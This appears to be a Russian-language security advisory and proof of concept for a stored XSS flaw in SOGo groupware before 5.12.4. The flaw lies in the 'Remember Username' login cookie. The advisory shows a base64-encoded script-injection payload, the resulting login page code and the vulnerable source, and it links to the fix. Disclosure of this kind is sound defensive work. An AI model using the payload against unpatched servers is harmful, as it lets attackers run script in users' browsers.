
Доказательство концепции хранимого XSS для группового ПО SOGo, эксплуатирующее cookie 'Remember Username' для внедрения JavaScript-полезных нагрузок через конечную точку входа.
Хранимая XSS в cookie Alinto/SOGo
Исследователи: Daniil Khomichenok, Alexander Klimenko
Затронутые версии < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
Дата: 01.10.2025
Когда включена функция "Remember Username", в cookie браузера добавляется поле, закодированное в base64.
Это значение берется из параметра "userName" в POST-запросе к конечной точке /SOGo/connect.
Ответ сервера содержит закодированный в base64 XSS-пейлоад с установкой cookie:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
Добавление следующего значения в POST-запрос для параметра "userName":
которая содержит внедрение JavaScript, которое выполняется при повторном посещении пользователем страницы аутентификации и сохраняется в cookie "SOGoLogin" в браузере пользователя.
Код страницы аутентификации, содержащий внедрение:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
Код set-cookie запоминания логина, который принимает XSS-инъекции в качестве значения параметра:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];
Исправление: https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c